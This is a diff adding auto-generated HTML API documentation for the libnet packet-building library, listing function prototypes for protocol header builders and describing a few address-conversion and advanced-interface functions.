+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a63">libnet_build_token_ring</a> (u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a64">libnet_autobuild_token_ring</a> (u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a65">libnet_build_vrrp</a> (u_int8_t version, u_int8_t type, u_int8_t vrouter_id, u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int, u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a66">libnet_build_mpls</a> (u_int32_t label, u_int8_t experimental, u_int8_t bos, u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a67">libnet_build_ntp</a> (u_int8_t leap_indicator, u_int8_t version, u_int8_t mode, u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int, u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac, u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac, u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int, u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a68">libnet_build_ospfv2</a> (u_int16_t len, u_int8_t type, u_int32_t rtr_id, u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a69">libnet_build_ospfv2_hello</a> (u_int32_t netmask, u_int16_t interval, u_int8_t opts, u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr, u_int32_t neighbor, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a70">libnet_build_ospfv2_dbd</a> (u_int16_t dgram_len, u_int8_t opts, u_int8_t type, u_int seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a71">libnet_build_ospfv2_lsr</a> (u_int type, u_int lsid, u_int32_t advrtr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a72">libnet_build_ospfv2_lsu</a> (u_int num, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a73">libnet_build_ospfv2_lsa</a> (u_int16_t age, u_int8_t opts, u_int8_t type, u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a74">libnet_build_ospfv2_lsa_rtr</a> (u_int16_t flags, u_int16_t num, u_int id, u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a75">libnet_build_ospfv2_lsa_net</a> (u_int32_t nmask, u_int rtrid, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a76">libnet_build_ospfv2_lsa_sum</a> (u_int32_t nmask, u_int metric, u_int tos, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a77">libnet_build_ospfv2_lsa_as</a> (u_int32_t nmask, u_int metric, u_int32_t fwdaddr, u_int tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a78">libnet_build_data</a> (u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a79">libnet_build_dhcpv4</a> (u_int8_t opcode, u_int8_t htype, u_int8_t hlen, u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a80">libnet_build_bootpv4</a> (u_int8_t opcode, u_int8_t htype, u_int8_t hlen, u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a81">libnet_getgre_length</a> (u_int16_t fv)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a82">libnet_build_gre</a> (u_int16_t fv, u_int16_t type, u_int16_t sum, u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a83">libnet_build_egre</a> (u_int16_t fv, u_int16_t type, u_int16_t sum, u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a84">libnet_build_gre_sre</a> (u_int16_t af, u_int8_t offset, u_int8_t length, u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a85">libnet_build_gre_last_sre</a> (libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a86">libnet_build_bgp4_header</a> (u_int8_t marker[LIBNET_BGP4_MARKER_SIZE], u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a87">libnet_build_bgp4_open</a> (u_int8_t version, u_int16_t src_as, u_int16_t hold_time, u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a88">libnet_build_bgp4_update</a> (u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt, u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len, u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a89">libnet_build_bgp4_notification</a> (u_int8_t err_code, u_int8_t err_subcode, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a90">libnet_build_sebek</a> (u_int32_t magic, u_int16_t version, u_int16_t type, u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid, u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a91">libnet_build_link</a> (u_int8_t *dst, u_int8_t *src, u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a92">libnet_autobuild_link</a> (u_int8_t *dst, u_int8_t *oui, u_int16_t type, libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a93">libnet_write</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a94">libnet_get_ipaddr4</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_in6_addr&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a95">libnet_get_ipaddr6</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ether_addr *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a96">libnet_get_hwaddr</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int8_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a97">libnet_hex_aton</a> (int8_t *s, int *len)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a98">libnet_adv_cull_packet</a> (libnet_t *l, u_int8_t **packet, u_int32_t *packet_s)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a99">libnet_adv_cull_header</a> (libnet_t *l, libnet_ptag_t ptag, u_int8_t **header, u_int32_t *header_s)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a100">libnet_adv_write_link</a> (libnet_t *l, u_int8_t *packet, u_int32_t packet_s)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a101">libnet_adv_free_packet</a> (libnet_t *l, u_int8_t *packet)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a102">libnet_cq_add</a> (libnet_t *l, char *label)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a103">libnet_cq_remove</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a104">libnet_cq_remove_by_label</a> (char *label)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int8_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a105">libnet_cq_getlabel</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a106">libnet_cq_find_by_label</a> (char *label)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a107">libnet_cq_destroy</a> ()</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a108">libnet_cq_head</a> ()</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a109">libnet_cq_last</a> ()</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a110">libnet_cq_next</a> ()</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a111">libnet_cq_size</a> ()</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a112">libnet_diag_dump_context</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a113">libnet_diag_dump_pblock</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>char *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a114">libnet_diag_dump_pblock_type</a> (u_int8_t type)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a115">libnet_diag_dump_hex</a> (u_int8_t *packet, u_int32_t len, int swap, FILE *stream)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a116" doxytag="libnet-functions.h::libnet_write_raw_ipv4" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_write_raw_ipv4</b> (libnet_t *l, u_int8_t *packet, u_int32_t size)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a117" doxytag="libnet-functions.h::libnet_write_raw_ipv6" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_write_raw_ipv6</b> (libnet_t *l, u_int8_t *packet, u_int32_t size)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a118" doxytag="libnet-functions.h::libnet_write_link" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_write_link</b> (libnet_t *l, u_int8_t *packet, u_int32_t size)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a119" doxytag="libnet-functions.h::libnet_open_raw4" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_open_raw4</b> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a120" doxytag="libnet-functions.h::libnet_close_raw4" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_close_raw4</b> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a121" doxytag="libnet-functions.h::libnet_open_raw6" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_open_raw6</b> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a122" doxytag="libnet-functions.h::libnet_close_raw6" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_close_raw6</b> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a123" doxytag="libnet-functions.h::libnet_select_device" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_select_device</b> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a124" doxytag="libnet-functions.h::libnet_open_link" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_open_link</b> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a125" doxytag="libnet-functions.h::libnet_close_link" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_close_link</b> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a126" doxytag="libnet-functions.h::libnet_do_checksum" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_do_checksum</b> (libnet_t *l, u_int8_t *packet, int protocol, int len)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a127" doxytag="libnet-functions.h::libnet_compute_crc" ></a>
+u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_compute_crc</b> (u_int8_t *buf, u_int32_t len)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a128" doxytag="libnet-functions.h::libnet_ip_check" ></a>
+u_int16_t&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_ip_check</b> (u_int16_t *addr, int len)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a129" doxytag="libnet-functions.h::libnet_in_cksum" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_in_cksum</b> (u_int16_t *addr, int len)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a130" doxytag="libnet-functions.h::libnet_pblock_probe" ></a>
+libnet_pblock_t *&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_probe</b> (libnet_t *l, libnet_ptag_t ptag, u_int32_t n, u_int8_t type)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a131" doxytag="libnet-functions.h::libnet_pblock_new" ></a>
+libnet_pblock_t *&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_new</b> (libnet_t *l, u_int32_t size)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a132" doxytag="libnet-functions.h::libnet_pblock_swap" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_swap</b> (libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a133" doxytag="libnet-functions.h::libnet_pblock_insert_before" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_insert_before</b> (libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a134" doxytag="libnet-functions.h::libnet_pblock_delete" ></a>
+void&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_delete</b> (libnet_t *l, libnet_pblock_t *p)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a135" doxytag="libnet-functions.h::libnet_pblock_update" ></a>
+libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_update</b> (libnet_t *l, libnet_pblock_t *p, u_int32_t h, u_int8_t type)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a136" doxytag="libnet-functions.h::libnet_pblock_find" ></a>
+libnet_pblock_t *&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_find</b> (libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a137" doxytag="libnet-functions.h::libnet_pblock_append" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_append</b> (libnet_t *l, libnet_pblock_t *p, u_int8_t *buf, u_int32_t len)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a138" doxytag="libnet-functions.h::libnet_pblock_setflags" ></a>
+void&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_setflags</b> (libnet_pblock_t *p, u_int8_t flags)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a139" doxytag="libnet-functions.h::libnet_pblock_p2p" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_p2p</b> (u_int8_t type)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a140" doxytag="libnet-functions.h::libnet_pblock_coalesce" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_pblock_coalesce</b> (libnet_t *l, u_int8_t **packet, u_int32_t *size)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a141" doxytag="libnet-functions.h::libnet_check_iface" ></a>
+int&nbsp;</td><td class="memItemRight" valign=bottom><b>libnet_check_iface</b> (libnet_t *l)</td></tr>
+
+<tr><td colspan=2><br><h2>Variables</h2></td></tr>
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a0" doxytag="libnet-functions.h::in6addr_error" ></a>
+const struct libnet_in6_addr&nbsp;</td><td class="memItemRight" valign=bottom><b>in6addr_error</b></td></tr>
+
+</table>
+<hr><a name="_details"></a><h2>Detailed Description</h2>
+libnet exported function prototypes
+<p>
+<hr><h2>Function Documentation</h2>
+<a class="anchor" name="a14" doxytag="libnet-functions.h::libnet_addr2name4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> char* libnet_addr2name4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>in</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>use_name</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Takes a network byte ordered IPv4 address and returns a pointer to either a canonical DNS name (if it has one) or a string of dotted decimals. This may incur a DNS lookup if the hostname and mode is set to LIBNET_RESOLVE. If mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed and the function will return a pointer to a dotted decimal string. The function cannot fail -- if no canonical name exists, it will fall back on returning a dotted decimal string. This function is non-reentrant. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>in</em>&nbsp;</td><td>network byte ordered IPv4 address </td></tr>
+ <tr><td valign=top><em>use_name</em>&nbsp;</td><td>LIBNET_RESOLVE or LIBNET_DONT_RESOLVE </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>a pointer to presentation format string </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a17" doxytag="libnet-functions.h::libnet_addr2name6_r" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_addr2name6_r </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">struct libnet_in6_addr&nbsp;</td>
+ <td class="mdname" nowrap> <em>addr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>use_name</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>char *&nbsp;</td>
+ <td class="mdname" nowrap> <em>host_name</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>int&nbsp;</td>
+ <td class="mdname" nowrap> <em>host_name_len</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Should document this baby right here. </td>
+ </tr>
+</table>
+<a class="anchor" name="a99" doxytag="libnet-functions.h::libnet_adv_cull_header" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_adv_cull_header </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t **&nbsp;</td>
+ <td class="mdname" nowrap> <em>header</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>header_s</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Advanced Interface] Pulls the header from the specified ptag from the given libnet context. This function is part of the advanced interface and is only available when libnet is initialized in advanced mode. If the function fails <a class="el" href="libnet-functions_8h.html#a9">libnet_geterror()</a> can tell you why. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
